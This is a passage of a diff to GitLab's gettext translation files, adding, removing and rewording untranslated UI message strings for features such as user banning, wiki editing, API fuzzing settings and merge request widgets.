-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index 0cd35d95aa9..be7b291cea4 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:11\n"
+"PO-Revision-Date: 2021-06-01 20:21\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
